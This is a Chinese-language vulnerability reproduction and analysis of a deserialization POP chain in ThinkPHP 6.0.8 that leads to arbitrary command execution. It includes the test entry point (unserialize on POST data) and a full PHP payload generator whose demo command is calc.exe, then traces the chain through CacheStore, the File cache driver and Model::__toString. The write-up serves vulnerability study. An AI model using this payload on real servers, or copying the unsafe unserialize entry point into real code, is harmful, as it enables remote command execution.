漏洞说明
1. 漏洞原理:ThinkPHP 6.0.8 CacheStore 会触发POP利用链子,造成任意命令执行
2. 组件描述: ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架
3. 影响版本:V6.0.8
漏洞复现
1. 环境安装:ThinkPHP6.0正式完整版下载_其他_技术博文_js代码
下载v6.0.8,使用命令php think run即环境起来了
访问127.0.0.1:8000
需要在源代码中加入一个入口
if(isset($_POST['data'])) {
@unserialize($_POST['data']);
}
highlight_string(file_get_contents(__FILE__));
利用exp生成payload并打入data入口
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache
{
protected $autosave;
public function __construct()
{
$this->autosave = false;
}
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
use think\cache\driver\File;
class CacheStore extends AbstractCache
{
protected $store;
protected $expire;
protected $key;
public function __construct()
{
$this->store = new File();
$this->expire = 1;
$this->key = '1';
}
}
echo urlencode(serialize(new CacheStore()));
}
namespace think\cache {
use think\model\Pivot;
abstract class Driver
{
protected $options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
public function __construct()
{
$this->options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => new Pivot(),
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
}
}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver
{
}
}
namespace think {
use think\model\concern\Attribute;
abstract class Model
{
private $data = [];
private $withAttr = [];
public function __construct()
{
$this->data = ['errorr0' => 'calc.exe'];
$this->visible = ["errorr0" => 1];
$this->withAttr = ['errorr0' => 'system'];
}
}
}
namespace think\model\concern {
trait Attribute
{
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
}
漏洞分析
全局搜索找到CacheStore所在位置src/think/filesystem/CacheStore.php
找到它的父类AbstractCache,查看发现有__destruct()
步入save查看
跟进查看getForStorage()
没有发现可利用点,步出看save后面的
$this->store->set($this->key, $contents, $this->expire);
这里$this->store是可控的,所以可以调用任意含义set()函数的对象,这里调用src/think/cache/driver/File.php::set
跟进getExpireTime(),查看如下
没有可利用点,步出继续往下步入getCacheKey()查看
前面使用了hash()函数,第一个为hash类型的设置,如果为空或者设置有误则会报错,我们需要保证上面不截断的前提下执行下面return的步骤,return中$this->options['path']与$name进行了拼接,而$this->options['path']是可控的,如果实例化一个有__toString()魔术方法的对象,保证$name不报错,则可以搭成一个链,经过查找发现vendor\topthink\think-orm\src\model\concern\Conversion有__toString可以利用
步入toArray()查看情况
这里看到如果满足条件判断则可以执行getAttr(),步入查看
不出错就应该进入getData()
没什么特别的直接,看外层的getValue()
这里可以构造一个自定义函数以及利用data传参达到任意命令执行,而有个问题就是触发了漏洞怎么将他们链接起来?并且还有一个问题就是恶意payload如何传入,这里经过审计发现需要传入的恶意$data参数是vendor\topthink\think-orm\src\model\concern\Attribute中,而在vendor\topthink\think-orm\src\Model可控制$data,并且
Model复用了Conversion的内容,这样也可以触发__toString,最后构造就按照分析的将几个类复用再给几个类中特殊需要赋值即可,还有一个小问题就是如上图,Model是抽象类,因此我们需要自己手写一个子类继承即可。
Referer
tp6.0.8反序列化漏洞分析 - 网安
thinkphp6.0x反序列化复现及再挖掘-安全客 - 安全资讯平台